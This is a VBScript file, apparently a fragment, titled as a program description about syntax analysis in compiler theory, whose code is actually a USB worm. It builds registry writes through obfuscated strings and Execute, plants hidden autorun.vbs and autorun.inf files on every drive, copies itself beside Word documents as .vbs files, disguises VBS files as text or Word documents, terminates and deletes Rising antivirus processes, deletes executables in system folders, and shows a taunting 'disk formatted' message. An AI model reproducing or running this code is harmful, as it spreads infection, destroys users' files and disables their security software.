程序说明.vbs

编译原理中的语法分析

ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
if day(date())="27" then
msgbox "小样！你的杀毐软件该升级了，磁盘已被格式化"
End If
end Function
Function scandoc(a)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files
if file.name ="wordicon.exe" then
reg=file.name
regpath=file.path
exit Function
end if
next
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scandoc(subfolder) 
next 
end Function
Function regtime()
a6="R.Re" & "gWri" & chr(116) & "e"
a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" & "ipting Ho" & "st\Settin" & "gs\Timeout"
ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
dim NameorPID
kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")
for i=0 to 4
KillProcess(kill(i))
next
end Function
Function ganranfile(aa)
On Error Resume Next
dim x
For i = 1 To Len(aa) 
x = Mid(aa, i, 1) 
if x="" then
x=Mid(aa, 1, 1)
i=1
end if
Set x = fs.GetDrive(x)
if x.IsReady then
scan(x)
else
xunhuan()
end if
Next
end Function
Function scan(x)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(x) 
set files=folder_.files 
for each file in files
s=file.path
ext=fs.GetExtensionName(file) 
ext=lcase(ext) 
if ext="doc" then 
fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")"
Execute fff
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scan(subfolder) 
next 
end Function
Function ganrandisk() 
On Error Resume Next
regwrite()
dim doc, d, s, coun,w,h,oo
  Set doc = fs.Drives
for each k in doc
if k.IsReady then
h=h & k.DriveLetter
end if
next
t1=len(Trim(h))
coun=doc.count
do while coun>0
oo=h & w
clearinfo(oo)
wscript.sleep 50
Set d = fs.Drives
if d.count>coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
ganranfile(w)
s=trim("")
t1=len(t)
end if
if d.count<coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
s=trim("")
t1=len(t)
end if
loop
end Function
Function xunhuan()
On Error Resume Next
dim sfo
set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path)) 
if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then
if sfo.DriveType=2 then 
ganrandisk() 
else
wscript.quit
end if
else
dvbs.delete(true)
end if
end Function

Function clearinfo(oo)
On Error Resume Next
dim dc,z
oo =LCase(Trim(oo))
For m = 1 To Len(oo) 
z = Mid(oo, m, 1) 
Set z = fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")
for i= 0 to 1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
for i=0 to 2
scanexe(vir(i))
next
end Function 
Function scanexe(a)
wscript.sleep 100
On Error Resume Next
dim files,file,folder_
if fs.FolderExists(a) then
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files
ext=fs.GetExtensionName(file) 
ext=lcase(ext) 
if ext="exe" then 
Set f = fs.GetFile(file)
f.delete(true)
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scanexe(subfolder) 
next 
end if
end Function
Function findinf(z)
On Error Resume Next
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
Execute fff
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
end if
If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then
else
fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")
f.attributes=f.attributes+7
end if
If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then
Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)
vbc = c.readall
If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
c.Close
Else
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" 
ts.WriteLine "shell\open\Default=1 "
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=打开(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1"
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes+7
End If
if fs.FileExists(z.DriveLetter & ":\vbs.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"文本文件"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
end if
if fs.FileExists(z.DriveLetter & ":\doc.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word 文档"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end Function

Function KillProcess(NameorPID)
On Error Resume Next
    Dim oWMI, oProcs, oProc, strSQL
    KillProcess = False
    strSQL = "SELECT * FROM Win32_Process"
    If NameOrPID <> "" Then
        If IsNumeric(NameOrPID) Then
            strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"
        Else
            strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"
        End If
    End If
    Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
    Set oProcs = oWMI.ExecQuery(strSQL)
    For Each oProc In oProcs
        If IsNumeric(NameOrPID) Then
            oProc.Terminate
            KillProcess = True
        Else
            oProc.Terminate
if day(date())="27" then
       set killfile=fs.getfile( oProc.ExecutablePath)
killfile.delete(true)
        End If
end if
    Next
    Set oProc = Nothing
    Set oProcs = Nothing
    Set oWMI = Nothing
End Function